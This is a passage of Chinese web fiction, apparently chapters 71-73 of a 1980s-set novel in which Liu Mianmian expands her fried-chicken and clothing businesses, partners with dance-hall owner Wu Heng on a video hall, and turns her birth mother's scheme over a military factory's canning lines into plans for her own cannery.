于是等曹大妈花费许多心思给侄子做了炖肉送过去时,她侄子却对她恶语相向,侄子对象更是一言不合就直接动手,给她挠了个大花脸。 这下子,曹大妈可真是两边不是人了。 这件事里,要说最生气的还是曹大妈的儿子,他也是直到这时候才知道自家老娘做的这些缺德事。 人沈维舟媳妇儿多大气的人,店里有点什么活儿都让她们这些邻居去帮忙,给的工钱也特别高。 他老娘倒是好,一边挣着别人的钱,一边偷学别人的技术,完了扭头就让侄子跑到这边来摆摊抢生意,这是人干的事? 更可气的是,他老娘一心一意的替侄子打算,他那表弟反倒还要埋怨他老娘,还把人给打了。 曹大妈的儿子真是气得不行,直接勒令老娘不许再去见表弟,也不许再去外面干活,就老老实实待家里,不然他就把人送回老家去。 曹大妈的儿子叫潘桦,他和媳妇儿都是街道上的,平时工作挺忙,真是不怎么顾得上老娘,以前只以为自己老娘就是嘴碎一点、爱管闲事一点、人缘儿差一点,直到这件事,才发现何止啊! 多年邻居,潘桦对沈家的情况自然了解,哪怕不能处好关系,至少也不能跟这样的家庭结仇吧?于是赶紧拎了点东西上门道歉。 柳绵绵平时在巷子里也碰见过几次潘桦,潘桦为人热情,还挺会说话的,柳绵绵也是才知道,原来他竟然是曹大妈的儿子。 怎么说呢,还挺同情的。 潘桦有些无奈地说:“来之前我也找我表弟谈过了,本来是想劝他不要摆摊,或者把摊子摆别的地方去,不过,我那个表弟平时家里挺宠着的,不怎么能听得进去别人的话……” 柳绵绵秒懂,就是不听劝,没准还反而骂了潘桦一通呗。 她摆摆手,笑道:“没事,他是他,你是你,他是成年人,你也不能替他做决定的。再说,他那个摊子其实也影响不了我什么,倒是他自己,继续做下去可能会有点风险。” 潘桦摇头叹息:“我确实也管不了他。” 既然人家都没把那个摊子放在眼里,潘华也就不再多说,转而说起租房的事情:“我听说你在找铺面,我和我爱人都是在街道办工作的,我是蒲川街道的,她是泉林街道的,我们两个街道都有一些铺面在出租的,你要是有兴趣,我们可以带你去看看的。” 这倒是意外之喜了。 柳绵绵正准备多开几家炸鸡店呢,于是说:“你们方便的话,我这两天就去找你们。” 潘桦笑道:“方便的,再说租房出去,本来也是街道办的工作。” 柳绵绵也没拖延,第二天就去街道办找了潘桦,租下了蒲川中学斜对面的铺面,然后又去了潘桦媳妇儿的单位,那边倒是没发现什么合适做炸鸡店的铺面,倒是有个合适开服装店的铺面,于是也给租了下来。 接下来的时间,柳绵绵就一边装修铺子,一边招人,招到人就先在西餐厅和炸鸡店帮忙,等到铺子陆续都装修好,这次几家店是同时开业。 就在炸鸡店新店开业前一天,胡同口炸鸡摊出事了。 附近巷子的一个熊孩子买了他们家一个大鸡腿,吃了没多久就开始上吐下泻,浑身发冷,直接被送医院了。医生诊断是吃了不卫生的东西。等到孩子情况稳定后,孩子家长自然找到了炸鸡摊要说法,哪知道对方一句不知道就把事情撇得一干二净。 孩子家长也不是好惹的,早报了案,还留存了孩子的呕吐物、医院化验单等一系列证据,然后曹大妈的侄子就被带走了。 公安没多久就查明白了,胡同口炸鸡摊因为生意不好,食材存放时间过久变质,导致孩子吃了以后食物中毒。曹大妈侄子不仅要赔偿对方损失,还要被行政拘留,当然,炸鸡摊自然也被查封不能再做了。 可以说,辛辛苦苦两个月,他们不但没挣到钱,反倒还要亏钱。 这件事柳绵绵听了一耳朵就没再管了,因为新店开业,她又得亲自去看着了。 之前的广告,报社只登了一周,但是电台是直接买了一年的时段的。 经过这段时间狂轰滥炸的播放,现在“吃鸡只吃巷子口”已经成为南城市民耳熟能详的一句广告词了。所以新店开业的时候,排队的人比老店的还要多。 这边几家店同时开业,那边开年后就又奔赴广市的刘安民也打来了电话,广市的新批发市场已经定下来了,五月一号正式开业。 因为又开了几家店,原本准备拿来买批发市场档口的钱倒是有些不够了,柳绵绵正考虑是不是先把港城的股票套现一部分,余国梁也打了电话来,说是准备汇一季度的分红给她。 柳绵绵一算,嘿,正好补上了资金缺口。 所以说,投资真好啊,投资就有回报,正缺钱呢,钱它自己长着翅膀就飞来了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 你就是跟她好上了?! 开年几个月,柳绵绵的“事业版图”就又扩张了,她现在拥有一家西餐厅、四家炸鸡店,另外还有四家服装店、五个批发档口以及前进乡一些投资的股份。 虽然投入不少,但是挣钱也是很快的。除了前进乡那边的鱼塘和山地,产出需要一定时间,其他的每个月都是哗哗地在帮她挣钱,尤其四家炸鸡店,投资小回报快,很快就回本实现盈利了。 给广市的刘安民汇去买档口的钱后,柳绵绵算了算,发现很快就会有新的钱入账,而开录像厅,需要想办法购买电视机、录像机和录像带,需要一定时间,所以完全可以早点开始准备。 她考虑再三,最后还是决定找伍衡合伙。 这家伙看上去不像个正经人,但是柳绵绵最近通过沈维舟的发小林哲侧面打听了一下,不算太意外地发现,他其实还真是个正经人。 伍衡是南城本地人,父母都是南城剧团的演奏师,那些年的时候,他父亲被下放,母亲在剧团扫厕所,他跟在母亲吃了不少苦。后来,他父亲没能熬过去,死在了乡下,母亲后面倒是平反了,但是劳累过度,身体一直很差,改开后不久也病死了。 大概是了无牵挂,他就一个人去了南方,在南方混了几年,去年才回的南城,回来以后就开始搞那个舞厅。 他在外地的这几年究竟干了什么,派出所是不清楚的,但是他回南城以后,确实是正正经经的,舞厅的各项手续都很齐全,经营项目也很正规,舞厅里有人闹事,他也是报警处理的。 因为他这边报过几次警,所以派出所的人对他印象深刻,甚至好几个民警都觉得他为人挺正派的。 合作伙伴嘛,柳绵绵倒是也不要求对方人品有多么的好,最主要就是做事正派、诚信经营。 好比另一家大都会舞厅,哪怕林哲不说,柳绵绵也是知道的,他们那边做生意是不太正规的,坊间传闻他们聘请了一批女青年,专门陪人跳舞的,只不过双方都坚持不是这种关系,而且也没有被抓到明显的违法违规行为,所以相关部门暂时也拿他们没办法。 这个时候很多法律法规还不是那么完善。 再说,就算是后世,各方面法律法规都比较完善了,也是有人专门踩着灰色地带挣钱的。 像是这种,柳绵绵就绝对不会和他们合伙做生意的。 柳绵绵专门找了个工作日的白天去舞厅,伍衡头发乱蓬蓬地出来,笑着跟她打了个招呼:“柳老板,稀客呀!” 柳绵绵笑笑:“我虽然不怎么过来,我们许经理可是经常过来的,咱们怎么说也是合作关系,偶尔来往交流一下也是应该的。” 伍衡点点头:“那是,柳老板能来我这里,蓬荜生辉。”他趿拉着拖鞋,转身先进了舞厅后排的厨房,边走边说:“我还没吃早饭,柳老板要不要一起吃点?” 柳绵绵自己就是个不爱早起的,还是考虑到舞厅可能下午就要营业,才特意起得稍微早点过来的,结果伍衡起得比她还晚多了。 既然是同道中人,柳绵绵自然不会觉得对方失礼:“我刚吃了早饭过来的,你吃吧。” 伍衡看了眼手表,微微挑眉:“柳老板早饭也不早啊,不介意的话咱们边吃边说?”他让人给柳绵绵倒了杯茶。 柳绵绵坐在他对面:“当然。” 她直截了当:“伍老板之前在广市和深市都待过,不知道有没有在那里见过录像厅?” 伍衡慢条斯理地喝着豆浆,看了柳绵绵一眼,说:“我在一个做服装店老板家里见过录像机,也听说有人想通过这东西挣钱,但是搞不到片子。” 这时候内地影视行业不发达,不管是电视剧还是电影,数量都非常少,而且,内地出的片子,电视台和电影院都会播,除非是特别好看的片子,不然没必要专门跑到外面花钱看。 要想搞录像厅,主要还是得能弄到港城乃至国外的片子,这种路子不是一般人能有的。 反正伍衡离开深市的时候,并没有听说有谁把这事干起来。 伍衡抬头看了眼柳绵绵。 他既然和芷江西餐厅合作,自然也打听过对方的情况,知道这位的婆家在港城有点关系,再说他们西餐厅原先的老板和经理就是港城的,既然人家能把店转给她,多少肯定是有点香火情的。 这么看,对方应该是有渠道能弄到片子的。 伍衡调侃道:“你不缺资金,也不缺渠道,一个录像厅,自己完全能做起来,今天专门过来找我,总不是想和我合作的吧?” 柳绵绵挑眉:“我就是来找你合作的。” 伍衡手上动作顿了下,反问:“为什么?” 柳绵绵笑笑:“不想太累啊!我自己一个人搞当然也能搞起来,但是找场地、找人手、装修、买设备……一堆的事情,实在太累了。如果能找到一个人愿意把这些活儿都接过去,我只用出钱和渠道,何乐而不为?” 伍衡嘴角抽了抽,忍不住说:“你怕麻烦还想挣钱?” 柳绵绵理直气壮:“谁规定怕麻烦就不能挣钱,我就是想要不麻烦地挣钱。” 伍衡:“……” 他忍不住说:“我听说你成年之前是在乡下长大的,农村的家里条件挺一般的?”没说的是,还听说回了南城以后,亲生父母对她也一般般。就这样的家庭出身,她居然会嫌挣钱麻烦?换了他,就是天天起早摸黑,也得先把钱挣了。 看看,直男就是直男,说话也不知道委婉一点。 柳绵绵语重心长道:“你是不是想说,受过苦的人应该更懂得珍惜,知道什么都没有好好挣钱重要?其实这种想法才是大错特错,就是因为受过苦,才更应该在能享福的时候,尽可能地享福。” 顿了下,她说:“不知道你有没有听说过一句话,只要你能吃苦,你就会有吃不完的苦。” 伍衡:“………………” 他是真没想到,这位居然是这样的。外表瞧着挺正经的,对了,她男人瞧着更正经,没想到内里竟然是这样的想法,也不知道她那个看上去又正经又清高的丈夫,知不知道自己媳妇儿是这样的? 不过说回来,真的一板一眼的话,应该也想不出来用那种引人注目的舞蹈来增加西餐厅的知名度了。 一瞬间,伍衡脑子里转了无数的念头,最终归结为一个念头:有钱不挣王八蛋。 她有背景有渠道,还很会造势营销,跟她合作,对他来说有百利而无一害。 不就是多干点活嘛,想挣钱怕什么干活? 伍衡三两口吃掉早饭,站起来说:“我们去办公室再仔细聊聊?” 出了厨房兼的餐厅,还没走几步呢,突然一个女人的声音从不远处响起:“伍衡!” 一个烫着港风卷发,穿着时下最时髦的垫肩廓形西装套裙的女人,踩着高跟鞋快速地走过来,指着柳绵绵,用质问的语气说:“是不是她,你就是跟她好上了?!” 她瞪了一眼柳绵绵:“就长成这……就算长成这样,你也不能见异思迁吧?” 原本是想说就长成这样,你也能看得上,可仔细一看,才发现对方长得又年轻又漂亮。 莫名其妙被个不认识的人指着骂,柳绵绵原本还有点生气,不过人家虽然没明说,但显然是承认她漂亮,她就觉得也没必要跟人生气了,主动解释说:“这位同志,你误会了,我和伍老板是合伙伙伴。” 时髦女人撇撇嘴:“不就是跳几次舞做一下广告吗,还扯什么合作伙伴。姓许的,我告诉你,伍衡是我的对象,你一个离过婚的女人,好歹也有点自知之明,不要缠着伍衡不放。” 柳绵绵:“…………” 她看向伍衡,伍衡阴沉着脸,冲时髦女人冷声说:“你他妈是我见鬼的对象,你赶紧给我滚,不然我他妈亲自给你扔出去!” “我怎么就不是你对象了,我们可从来没说过分手。你不能有钱了就翻脸不认人吧?”时髦女人害怕地退了一步,却还是梗着脖子说。 伍衡冷笑了下:“我们是没说过分手,可我去深市这几年你谈过几个对象,需要我告诉你吗?我最后再给你个忠告,你要想安生过日子,就赶紧从你那个家里搬出来,找个正经对象结婚过日子。要不然,你就等着被你妈称斤掂两地卖了!” 他怒吼:“回去告诉你妈,别他妈以为我伍衡是傻子!滚,你赶紧给我滚得远远的!” 时髦女人吓得浑身一抖,没敢再说什么,一转身快步走了。 高跟鞋啪嗒啪嗒的声音略显凌乱,柳绵绵看着女人得背影,回想伍衡的生平经历,看来当初他离开南城南下,不仅仅是因为母亲病死,可能也是因为受到了情感上的挫折? 当然,这是人家的隐私,柳绵绵虽然好奇,也没准备一探究竟。 倒是时髦女人说的那些话,什么姓许的,又什么离过婚的,这说的不会是许海棠吧? 有了这方面的怀疑以后,柳绵绵再看伍衡,就总觉得这小子看着不像个好人,实际也不像个好人。 伍衡被她怀疑的目光打量着,难得的感觉到了几分不自在,他清了清嗓子,解释说:“她脑子有问题,成天疑神疑鬼的,你不要听她的。而且,我确实几年没跟她联系了,这几年她处过好几个对象,可惜运气不太好,总是处了没多久,对象的工作或者生意就出了问题,她妈就让她跟人分了。” 柳绵绵懂了。 照伍衡刚才说的,时髦女人家里应该是想她找个金龟婿,但是她偏偏点背得不行,处了好几个,对方事业上都出了问题,然后就在这时候,伍衡回来了,还开了这么大一个舞厅,明摆着是有钱了,于是女人家里就想让他们重修旧好。 不过女人说的姓许的离过婚什么的,伍衡却没有解释什么,柳绵绵也只当自己没听懂,也没问。 这个小插曲并不影响两人的合作,他们很快商量定了大致的投资比例和工作分工,投资金额一人一半,分工就是其他事情都由伍衡来负责,柳绵绵只负责投入资金和找渠道弄录像带。 伍衡其实有些无语,谈妥之后,他忍不住问柳绵绵:“你就不怕我忽悠你,或者是自己想办法单干?” 柳绵绵不以为意:“我相信你是个正派的人,再说,没人能从我这里骗走钱,只要钱不丢,别的都没问题。你要是单干,我找别人合伙一样开,到时候你还是竞争不过我的。” 伍衡还是第一次听别人说他是个正派人,表情有些复杂,沉默几秒,伸出手:“柳老板,合作愉快。” 柳绵绵笑眯眯道:“伍老板,合作愉快。” 就冲对方一无所有去了南方挣了钱,回来又一手把舞厅开了起来,柳绵绵透过他不修边幅的外表,已经看透了他卷王的本质。 又是一笔稳赚不赔的买卖。 谈妥以后,柳绵绵就告辞了。 离开舞厅,往外走了几百米,明明已经走了的时髦女人又从街边的小店冒了出来,拦在柳绵绵面前:“我想和你谈谈。” 柳绵绵不想谈,她甚至都不认识对方,直接说:“这位同志,我已经说过了,你误会了,我和伍老板是合作关系,而且,我既不姓许,我也没有离过婚,我和我爱人感情很好。” 时髦女人愣了一下:“你不是许海棠?” 柳绵绵:“……” 果然她说的就是许海棠。 果断摇头:“我不是。” 时髦女人怔愣几秒,突然哭了出来,声音压抑:“我,我不是为了钱,我是真的喜欢他,我一直都喜欢他呀!”她捂住脸,哭得非常伤心。 吵架打架柳绵绵是一点都不怵的,毕竟包里常备辣椒水,可安慰人她是真的不会。再说,之前伍衡说的话,女人可是一句都没有反驳过,可见事实应该跟伍衡说的大差不差,这种情况,你回头再说自己喜欢伍衡,甭管是真是假,都显得有点渣。 眼泪也不能掩饰渣的本质。 柳绵绵想了想,最后说了一句后世的无用鸡汤:“时间会治愈一切的,想开点。”说完就绕过时髦女人走了。 哭到一半的时髦女人:“……” 泪眼朦胧看着对方走远的背影,不敢相信世上竟然有这么冷漠的人,自己都真情流露这么伤心了,她居然能轻飘飘说一句半点用没有的话就走了。 真是没有一点同情心。 没有同情心的柳绵绵已经坐上了公交车。 这时候天气还不热,公交车上没什么味道,只是人依然很多,柳绵绵挤在人群中,默默在心里琢磨,等再挣点钱就去买辆汽车。 她想要一辆自己的车已经很久了,所以旁敲侧击地已经打听过国家的政策。国家前年出台过一个文件,允许农民个人或联户购置机动车船或拖拉机经营运输业,也就是说,买车可以,但得用于运输业。 她不可能真的买台车去跑运输,但是回头倒是可以用服装厂或者是榨油厂的名义来买车。 到求知巷的时候,柳绵绵还在考虑买车的事情,冷不丁突然听见有人喊她,她以为是邻居,随口应了声后才觉得不对,反应过来的时候,手已经被丁明霞抓住了。 一转眼倒是也好久没见这位原主的生母了,不知道是大病初愈的缘故,还是怎么的,丁明霞看上去有些憔悴,一下子人都老了不少,衣服也有些皱巴巴的,再不复原主记忆中永远得体温和的形象。 “绵绵,你最近怎么样?连过年都不回家看看,你怎么这么狠心呢?妈妈之前摔断了腿,不然早来找你了,咱们是亲母女,不管你过得好不好,妈妈总是惦记着你的。” 丁明霞说得情真意切:“我一早去菜场买了肉炖了一锅红烧肉,你最爱吃的,今天跟妈回家吃饭好不好?你看你爸你哥他们也好久没见你了,他们也都很惦记你的。” 柳绵绵看了丁明霞一眼,勾勾唇,讥讽道:“这位总是惦记着女儿,括号,非亲生,的母亲,我呢,从小到大都不爱吃红烧肉,我爱吃的是带骨头的排骨。还有,你说柳志刚和柳永捷惦记我,想见我,你征求过他们本人的意见了吗,你确定柳永捷见到我不会瞪着他那双死鱼眼,柳志刚不会一脸谁都欠他三千块的死样子?” 顿了下,她又说:“最后,想借钱,没有,想坑钱,不可能。” 丁明霞:“……” 第72章 罐头生产线 丁明霞实在想不通,这个原本执拗、坏脾气,但是一忽悠就准的亲闺女,为什么结了个婚,就变得跟个刺猬似的,碰不得咬不住,还扎手。 她原先确实是想从柳绵绵这里弄点钱,但是上回过来没找到人,后面回去摔了,躺床上躺了一两个月,家里的事情倒是又转圜了。 丁明霞现在倒是庆幸上回没找到柳绵绵,她其实也是个很要面子的人,能不用拉下脸来求人,自然是最好的。尤其这个人还是一直让她觉得没面子的柳绵绵。 柳绵绵之前埋怨她偏心柳锦诗,但是丁明霞觉得,这能怨她吗?他们一家子,可都是国营工厂的工人,柳志刚还是车间主任。这么多年,她都是昂着脑袋过日子的,突然来了个什么都不会、满身土气的亲闺女,让她在大院里丢尽了脸面,她能高兴吗? 怪还是得怪柳绵绵自己当初不懂事。 要是像现在这样,打扮洋气,还能挣钱,她难道会不满意吗? 当然,这是丁明霞内心的想法,也知道现在再说这些也没用,现在重要的是,把柳绵绵给笼络回来,让她帮衬着家里。 丁明霞忍着气,好声好气地说:“绵绵,你误会我了,你要不喜欢吃红烧肉,我做别的给你吃,你爸你哥当然也是盼着你回去的,你真的误会我们了。” “我也不是来跟你要钱的,我怎么会跟你要钱呢,我自己有工资的。你想想,我要是冲着钱,我当初怎么会把彩礼钱都让你带回来呢?”话是这么说,只有丁明霞自己知道,曾经多么后悔为了面子把这两千块给了柳绵绵。 所以说,说话是门艺术呀。 明明是自己扣着彩礼不想给,又因为被识破闹出来,为了脸面不得不给,但是到了丁明霞口中,却变成了她一分钱没要,都让柳绵绵带回了婆家。 丁明霞苦口婆心:“再说,哪个女人出嫁了就跟娘家不来往了呢?婆媳关系最是难处,夫妻之间也难免会有龃龉,这种时候还不是得娘家人来帮衬着?一笔写不出两个柳字,你是柳家人,是我亲生的,我们又怎么会不管你呢?” 柳绵绵心说,要不是老娘上辈子就叫这个名字,你看我会不会改名呢? “有事说事,没事再见。”她说。 丁明霞再度被噎了一下。 既然怀柔政策没用,丁明霞想了想,决定还是谈利益。 来之前她也是打听得很清楚了,这死丫头跟隔壁的蒋红梅一起做生意,可是挣了不少钱的,听说最近还开了什么炸鸡店,生意也是好得不得了。 想到蒋红梅过年时给家里买的年货,丁明霞又有些心塞。人蒋红梅都知道挣了钱给父母买东买西的,这死丫头倒是连军工大院的门都没踩进去过,因为这事,害得她又被大院里那些多嘴娘们儿阴阳,说柳绵绵肯定是怕上门再被卖给人贩子了,又说什么保不准当初也不是抱错的,就是故意丢掉的。简直莫名其妙。 不过,丁明霞琢磨着,这死丫头一门心思挣钱,自己说的这事,她肯定会感兴趣的。 “去年咱们军工厂开始搞军转民,买了两条罐头生产线,咱们南城自己水果不多的,原本厂里是跟邻省的甘城说好了,水果都从他们那里进货,前面都好好的,今年开年,对方说自己搞了罐头厂,桃子、桔子都不卖给咱们了。” 丁明霞看看周围,压低声音说:“厂里弄不来水果,留着两条生产线没用,就准备折价卖掉了。你爸说他能找到买家,到时候咱们先跟厂里买下来,一转手,就能挣不少。” 裁军节省军费投入经济建设,是大领导定下的政策。军队员额减少,军工订单自然也大幅削减,全国那么多的军工厂要吃饭,就得从军工转为生产民用。 柳绵绵上辈子听老妈说过,小时候吃过军工厂生产的雪糕,特别绵软,也用过军工厂生产的电风扇,质量杠杠的。 这场时代的浪潮中,自然也有转型成功的军工厂,但也有不少转型失败连年亏损直至破产的。 原书中,南城军工厂折腾来折腾去,最后还是在九十年代初的时候破产了,被女主江映雪和女配柳锦诗争相收购,俩人在收购军工厂的过程中频频过招,最终柳锦诗不敌落败,江映雪成功收购,奠定了她事业版图的重要一块。 不管是军工厂还是国营工厂,原先都是按计划生产,上面下达生产指标,他们的主要任务就是完成生产指标。 而改开之后,计划经济被打破,厂子需要自己去找市场去找销路去应对竞争,于是不少水土不服的厂子,就会迅速地倒下。 南城军工厂底子厚,倒是折腾了挺久,只是再厚的底子,也经不住你一下子开罐头生产线一下子开自行车生产线的,这么没头苍蝇似的折腾,只会越折腾越亏损。 更何况,像柳志刚这样趁机浑水摸鱼、损公肥私的人,也真是不少。 一个罐头生产线,厂子里买过来可能要万把块钱,两条就是一万五到两万,低价买入高价转手,挣个几块钱轻轻松松。 只不过,柳家没有这么多的本钱。 原先家里存款也就几千,后面炒君子兰,直接把存款都给掏空了,就更拿不出来了,所以才会找上柳绵绵。 柳绵绵自然也猜到了。 按理,她是不想跟柳家人再有什么搭界的,但是她忽然想到,南城确实不是水果主产区,所以做罐头厂,其实没有先天的优势,但是,谁说罐头只能做水果罐头呢? 这两条生产线,与其便宜柳志刚他们,倒是还不如她去买了做点实事,也能为本地创造点人工和税收呢。 心里虽然有了主意,但是柳绵绵面上却半点不露,反倒是有些不耐烦的样子:“这种投入大利润少的生意我可不做,再说,我刚开了炸鸡店,手里没钱。” 柳绵绵敢打赌,她但凡是真的拿出一两万块钱来给柳志刚买生产线,他们夫妻俩就敢把这笔钱昧下不还给她。 当初她能从他们那里把两千块钱彩礼要回来,那是因为,那时候他们还是大院人人称颂的体面人,他们还在乎名声,怎么的也得替柳永捷和柳锦诗考虑。 后面人贩子事件、君子兰事件一堆事情后,他们一家子人设崩塌得厉害,名声也是一落千丈。 如今这夫妻俩都盘算着倒卖厂里的生产线了,估计也是不怎么在意名声,就奔着钱去了,这种情况下,柳绵绵觉得,但凡有一分钱落到他们手里,都未必能拿得回来。 所以,她当然得拒绝。 丁明霞没想到她拒绝得这么干脆,试图劝说:“你手里没钱,你公婆呢,他们手里总有钱的吧?维舟的奶奶可是资本家的千金小姐,怎么也会留点东西给他们的。你好好问问你婆婆,咱们也不是不还,生产线卖掉钱不就回来了吗?” 柳绵绵摇头:“我婆婆可没那么好说话。” 这话丁明霞还是相信的,别看俞婉平时看着温婉好脾气的样子,据说工作上也是说一不二的,军工厂这边跟她接触过的人都是知道的。 丁明霞于是又说:“你不是跟蒋红梅一起做生意吗,她没跟你一起开什么炸鸡店吧,你找她先借一点。你说你,好好的,开什么炸鸡店,烟熏火燎的生意,看着也不体面。” 柳绵绵盯她一眼:“我开什么店,关你什么事?” 丁明霞:“……” 这真是,脾气也越来越差了。 柳绵绵不想跟她浪费时间了,摆手赶人:“没钱,蒋红梅也没钱,再说,她不就住你隔壁吗,要借钱你自己去。你赶紧回吧,再东拉西扯的,我喊人贩子拐人了啊!” 丁明霞真是快要被气死了,怒道:“我是你妈,亲妈!你说什么人贩子?!” 柳绵绵理直气壮:“你是我亲妈,你还把我扔乡下了呢,你养的好闺女还差点把我卖给人贩子了呢!你信不信我喊一声人贩子,保准有人举着棍子冲出来打你?” 丁明霞哭腔:“我怎么这么命苦啊——” 柳绵绵马上喊:“快来人啊,人贩……” 丁明霞尖叫起来:“我走,我走还不行吗?!我怎么生了你这么个白眼狼,我真是还不如当年……” 柳绵绵喊:“人贩子——” 路边院子传出说话声:“哎,是不是有人在喊人贩子?” “好像有啊,不过又没了。” 丁明霞马上跌跌撞撞地跑了。 柳绵绵笑了下。 就这胆子,还想从她身上讹钱? 柳绵绵走进院子,看到沈维舟坐在她日常坐的躺椅上看书,奇怪问:“你今天怎么这么早回来了?” 沈维舟放下书站起来:“我手头的项目完成了,他们的还没完成,所以我准备休息几天。” 柳绵绵觉得,沈维舟大概是这个时代最不守规矩的打工人了。 要知道,这时候的人,对待工作那都是抱着十二分的热忱的,迟到早退,没事旷工,那是绝对不可能的,甚至很多到了退休年纪的人,都巴不得返聘回到岗位继续发光发热。 而沈维舟,却是时不时的迟到早退,或者就是干脆不去上班,这固然有他身体一直不太好的缘故,但柳绵绵觉得,最主要的原因还是,沈维舟本质上就没有为工作鞠躬尽瘁的想法。 这人还挺惜命的,知道要劳逸结合。 这一点上,他倒是一点也不像这个时代的人,跟她这个信奉“何以解忧,唯有退休”的现代人还挺像的。 心里吐槽归吐槽,柳绵绵自然也清楚,沈维舟能时不时给自己放假,最主要的原因还是他聪明,哪怕是在研究所这种满地学霸的地方,他的能力也高出其他人一大截,负责的部分总是遥遥领先地完成,自然就有时间休息了。 这么一说,跟他一起搞研究的同志们真是辛苦了。 “那咱们晚上去看电影?”柳绵绵边洗手边问。 沈维舟拿了擦手的毛巾递给她,应了声后转而问:“刘婶说你去舞厅了?” “嗯,找伍老板谈录像厅的事,基本谈好了。” 之前柳绵绵找林哲帮忙打听伍衡的事,沈维舟也是知道的。虽然沈维舟内心是觉得,伍衡这个人经历复杂,尤其谁也不知道他在南方究竟怎么发家的,这样的合作伙伴,其实并不算太可靠。 但是沈维舟也知道,自己会有这样的想法,是因为在群狼环伺的异世待久了,不会轻易信任一个自己并不了解的人,而在和平时代,这种草木皆兵的心态其实并没有必要。 就像柳绵绵说的,只是做生意而已,只要对方不作奸犯科,就没问题,哪怕作奸犯科,自然有法律制裁他。 所以听着柳绵绵说怎么和伍衡谈的合作,沈维舟并没有插话,一直听到两人约定的分工时,才忍不住笑了下,抬手捏捏她的脸颊:“就这么怕麻烦?” 柳绵绵啪地一下拍在他手上:“我脸刚洗过。” 干脆了倒了盆水重新洗。 沈维舟笑看着她,听她继续在那里絮絮叨叨,说起伍衡的那个前女友,说起对方错认她是许海棠,最后说到了在巷子口碰见丁明霞,自己一喊人贩子,她就吓跑了。 他仔细看着她的表情,确认在她脸上没有看到丝毫的难过。 哪怕知道她应该不会在乎,但是心里总又有些担心,看到她不以为意,才暗暗松了口气。 “军工转民用并不是换条生产线的事情,缺乏捕捉市场的能力,买再多的生产线也没用。”沈维舟对南城军工厂的决策失误如是点评。 “可不就是。”柳绵绵笑眯眯道,“估计军工厂里面有柳志刚这种想法的不在少数,军工厂留着这两条生产线没用,南城也没有罐头厂,自然也不可能有国营单位接手,那么就只能卖给乡镇集体企业或者是外地企业。” 比起外地企业,自然是卖给本地企业更符合南城的利益,但是本地既然不适合办罐头厂,那么人家买生产线去干什么呢? 答案显而易见,自然都是买去转手的。 柳绵绵擦干净手和脸,忽然踮起脚,捏了把沈维舟的脸,笑着说:“这位帅气的小哥哥,等我买生产线回来,做罐头给你哟!” 说完就想跑,才刚跑出去呢,就被沈维舟一把拽了回来,在脸上亲了一口,才放开她:“我等着。” “哦哟!”刘婶从厨房出来,正想喊他们吃饭,瞅见这一幕,赶忙一转身又钻进了厨房,大声喊,“忙完了赶紧吃饭了!” 柳绵绵笑看着沈维舟,依旧是面无表情的样子,耳根却红了一片,她乐得不行,说:“我先去打个电话,马上回来。” 蒋红梅这个工作狂,也只有吃饭这段时间能准确找到她人。 “罐头生产线?哦,我爸妈也在说这事呢。大家都说厂领导拍脑袋定决策,原料问题都解决不了,就买了两条生产线,简直胡来。” 电话里,蒋红梅边吃饭边说话:“便宜肯定是便宜,可你买了做什么用?” 柳绵绵笑道:“用处多着呢。” 蒋红梅也不多问,一口答应下来:“行,我让我妈出去打听打听究竟怎么个章程。”自从挣了钱,蒋红梅的家庭地位节节攀升,她爸妈现在都挺听她的。 跟蒋红梅商量完,柳绵绵又给余国梁打了个电话,让他赶紧跟乡里打报告,筹备办罐头厂。 电话那头的余国梁:“……” 第73章 可不是他大惊小怪 余国梁自然是相信柳绵绵的,但是什么都还没有,就去申请办罐头厂这种事情,他还是有点没底,再说,他们前进乡也不产水果,哪来的原料呢? 再再说,万一军工厂的罐头生产线没买到手呢? 柳绵绵笑道:“没买到咱们就自己去买新的生产线啊,国内罐头行业还是比较成熟的,这个生产线国内的机械厂家就有,新的就是价格高一点,回本的时间稍微长一点而已。” 之前她也是没想到这一茬,但是丁明霞一说,她就想到了。 华国在罐头加工方面还是很有经验的,而且,军工厂既然已经生产过一段时间,技术和人工的问题肯定也解决了,到时候他们直接想办法挖人就行,实在不行,高薪聘请过来做培训也可以的。 留下村榨油作坊里,余国梁恍恍惚惚地挂掉了电话。 这时候电话还不普及,留下村村委都没装电话,倒是榨油坊这边,乡里特批给拉了电话线。毕竟榨油坊除了加工,也对外出售花生油,有个电话联系业务会方便很多。 而对于余国梁来说,有了电话,他遇上什么难以决断的事情,还能打电话问问柳绵绵的意见,心里也更有底。 余国梁一直是知道的,柳绵绵自从去了南城,这眼界就跟他们完全不一样了,说投资就投资,说买榨油设备就买榨油设备,那魄力,余国梁觉得,都赶得上乡长了。 关键是,榨油坊开起来以后,确实是立马就挣钱了。 因为之前搞了一些宣传和优惠的活动,现在十里八乡基本都知道留下村有个榨油坊,设备比乡里的新,出油率比乡里的高。 榨油坊生意火爆,家里人忙不过来,他们又招了几个村民来帮忙,加上鱼塘那边,现在满打满算,帮他们家干活的村民已经有十几个人。 如果再加上王志远那个养猪场招的人,那就更多了。 王志远卖完鱼就去了王叔战友的那个养猪场,春节都是在养猪场过的,在那边待了几个月,每天点灯熬油,悬梁刺股的,倒是学了不少东西,算是初步掌握了养猪技术。完了他就跑回留下村,跟村委租了地,把养猪场给开起来了。 榨油坊的油渣饼现在都供应给了养猪场,大概是油水足,那些猪简直见风长,一头头膘肥体壮的。 总之,柳绵绵当初随口描绘的场景,几乎没费多少时间,就全都实现了。 “老大,你发什么呆呢,赶紧回家吃饭了。” 余国栋进来,看到余国梁双眼发直地坐那儿,不禁心头一跳,忙问:“怎么了,是之前发出去那批花生油出问题了吗?” 余国梁回过神:“啊?啊,不是不是。” 他慌忙摆手,随后表情复杂地说:“是绵绵刚打了电话过来。” 余国栋松了口气,转念一想,松到一半的气又提了回来:“怎么的,是老幺出了什么事吗?” 余国梁摇头:“这倒不是。” 余国栋真是要被他急死了:“那到底是什么事,你怎么这副样子?” 余国梁抬头看着他,说:“绵绵让咱们跟乡里打报告,申请建罐头厂。” “什么玩意儿?”余国栋差点要怀疑自己耳朵是不是出了什么毛病。 “你没听错,绵绵说要办罐头厂,让咱们赶紧跟乡里打申请,批地,走手续,她那边会想办法搞生产线过来。”看到余国栋这副样子,余国梁顿时心理平衡了。 看吧,可不是他大惊小怪,是这个事情确实让人惊讶。 这步子迈得会不会太大太快了,他们这边榨油坊也才刚起步呢。 “你也觉得听着心慌吧?我知道老幺是敢想敢干,而且吧,她看准了这事儿估计是真能做起来。” 